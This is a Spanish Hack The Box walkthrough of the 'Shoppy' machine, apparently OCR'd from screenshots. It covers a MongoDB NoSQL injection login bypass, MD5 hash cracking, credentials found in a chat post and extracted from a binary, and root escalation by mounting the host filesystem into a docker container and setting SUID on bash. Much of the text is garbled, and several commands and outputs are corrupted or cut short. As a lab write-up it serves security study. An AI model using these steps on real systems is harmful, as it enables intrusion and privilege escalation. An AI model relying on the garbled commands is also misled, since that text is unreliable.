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Hack The Box

Creado por: dandy_loco

HACKTHEBOX


https://dandyloco.github.io/

1. Enumeracion

Realizamos un PING a la mdaquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Linux.

/home/kali/HTB/shoppy
1 10.10.11.180
PING 10.10.11.180 (10.10.11.180) 56(84) bytes of data.
64 bytes from 10.10.11.180: icmp_seq=1 ttl=63 time=37.4 ms

— 10.10.11.180 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 37.411/37.411/37.411/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

5+debllul (protocol 2.0)

INS

:http title: d adi to http: hoppy.hth
_http r-h
3/tcp

Consultamos el “launchpad” para intentar descubrir a que version de Debian nos estamos
enfrentando. A raiz del resultado, podemos intuir que estamos ante una version Sid.

openssh 1:8.4p1-5 source package in Debian
Changelog

openssh (1:8.4pl-5) unstable; urgency=high
* (WE-2821-28841: Fix double free in ssh-agent(l) (closes: #984948).

-- Colin Watson <email address hidden> Sat, 13 Mar 2821 89:59:48 +2060

Upload details

Uploaded by: Uploaded to:
3 Debian Open55H Maintainers on 2021-03-13 Sid

Original maintainer: Architectures:
£ Debian Opens5H Maintainers any all
Section: Urgency:

net Very Urgent
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Revisamos las tecnologias usadas por la web que corre por el puerto TCP/80.

ountry[RESERVEDI[ ], HTTPSq

Vemos que nos redirige a http://shoppy.htb. Vamos a meter el dominio shoppy.htb en

nuestro fichero hosts y volvemos a revisar las tecnologias usadas.

Archivo Acciones Editar Vista Ayuda

NU nano 7.1 J/etc/hosts =

0.1 localhost
kali

10.10.11.180 shoppy.htbll

untry[RESERVEDI[ ], HTTPS
1, HTHLS, HTTPS

Abrimos la web en nuestro navegador. Realizamos una revision de la misma, pero no
encontramos nada de interés.

DAYS HRS MIN SEC
Shoppy beta coming soon ! Stay tuned for beta access

Realizamos una enumeracion de directorios. Encontramos un panel de “login”.

‘Web-Content/directory-list-2.3-medium. txt
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Shoppy Admin

(&)

2. Analisis de vulnerabilidades

Intentamos las inyecciones SQL tipicas, pero no funcionan. Vamos a intentar lo mismo,
pero para NoSQL
(https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injectio
n). La primera prueba parece no funcionar.

Intentamos realizar la peticidn, pero como si fuera JSON. Esta vez, conseguimos una
respuesta.

Vamos a ver que pasa si forzamos un error, por si obtenemos algun tipo de informacion.
En este caso obtenemos un posible usuario.
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Seguimos probando inyecciones NoSQL pero no parecen funcionar. Siguiendo con
PayloadsAllTheThings vamos a intentar las inyecciones para MongoDB. Vamos a dejar
que la propia consulta de la aplicacién cierre la dltima comilla.

Con este “payload” conseguimos acceso. Vamos a irnos a la opcion “Search Users”.

Products of Shoppy App

Aplicamos la misma inyeccion anterior para intentar obtener todos los usuarios del
sistema.

« > C @ O & shoppy.htb/admin/search-users

KaliLinux # KaliTools @ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB |

e SHOPPY

Search for users in Shoppy App
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{3 shoppy.htb/exports/export-search.json

Kali Linux #8 Kali Tools @ KaliDocs N Kali Forums ¢ Kali NetHunter Exploil

Con la web http://hashes.com intentamos descifrar esas contrasefias que estan en MD5.

v Found: I
‘ Gebceab5320589cadr2T1lce@39975995: remembermethisway I

X Left:
T Hash Identifier

‘ 23c6877d%e2b564eT8b32c3a23de27h2

Clave: remembermethisway

Intentamos validar por SSH esa clave obtenida, tanto para el usuario “josh" como para
“Jaeger”, pero no ganamos acceso. Debemos seguir enumerando. Vamos a intentar
enumerar “virtual hosts”. Lo intentamos con varios diccionarios.

/home/kali
ists/Discovery/DNS/bitquark-subdosains-top100000. txt

/home/kali

Metemos la entrada encontrada en nuestro fichero hosts y abrimos la web en nuestro
navegador.
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3) Mattermost

Log in

Loginto
your account

éQué es Mattermost?
Mattermost es una herramienta colaborativa para trabajar con un equipo de trabajo
de manera agil y efectiva. Muchas personas la comparan con Slack, dado que sirve
para hablar por chat y enviar archivos.

3. Explotacion

Probamos con las credenciales del usuario “josh” que obtuvimos anteriormente vy
conseguimos acceso. Revisamos la web, y nos encontramos las siguientes credenciales
en un post.

jaeger 10:22 4

Hey @josh,

For the deploy machine, you can create an account with these creds:
username: jaeger

password: ShOppyBest@pp!

And deploy on it. #

Clave: ShOppyBest@pp!

Probamos esas credenciales por SSH y ganamos acceso a la maquina victima.

/home/kali/HTB/shoppy

-amd64 #1 SMP Debian 5.10.140-1

ad:beef ::250:56Ff: feb9:4cd9
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4. Movimiento lateral

Revisamos nuestros privilegios a nivel de sudoers y vemos que podemos ejecutar una
aplicacion como el usuario “deploy”.

eger on shoppy:
e_path=/usr/local/sbin\:/usr/local/bin\: /usr/sbin\:/usr/bin\:/sbin\:/bin

r may run t fol g « nds on shoppy:
€ word-manager

Revisamos los caracteres imprimibles con “strings”. Inicialmente no vemos nada
interesante. Afladimos el modificador -e y esta vez obtenemos la palabra “Sample”.

FONNRAII L L LN P WAL N IR TS e

$ strings -e 1 /home/deploy/password-manager

+ H

Probamos esas credenciales con SSH y ganamos acceso como el usuario “deploy”.

5. Escalada de privilegios

Revisamos a qué grupos pertenecemos.

oyd@shoppy:~$ id
) gid=1001(deploy) groups=1001(deploy),998(docker)
deployishoppy:~$ [

Al pertenecer al grupo dockers, mediante monturas, podemos aprovecharnos para
escalar privilegios. Consultamos si tenemos disponibles imagenes en el sistema.

deployashoppy:~$% docker images
REPOSITORY T IMAGE TID CREATED 51
1

E
alpine 3

IME

b

ate d7d3d98c851f 6 months ago 5L

Desplegamos un Docker en segundo plano, montando la raiz de la maquina victima en
/mnt/root del Docker.
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deploy@shoppy:~% docker run -dit -v /:/mnt/root -—name seTenso alpine
a fcae317719235808163c3c314d3c29cd@3393c6facf1@a9f43f5a81a03
deploy@shoppy:~% |}

Nos metemos dentro del Docker con ssh.

deplaym5hﬂppy:=$ docker exec -it seTenso sh

T S -

Asignamos el SUID a la bash de la maquina victima.

L e o A P e T

chmod u+s /mnt/r

Nos salimos del Docker y ejecutamos la bash de una forma privilegiada, obteniendo
acceso como root.

deplaym5happy:=$ bash -p

bash-5.1# whoami
root
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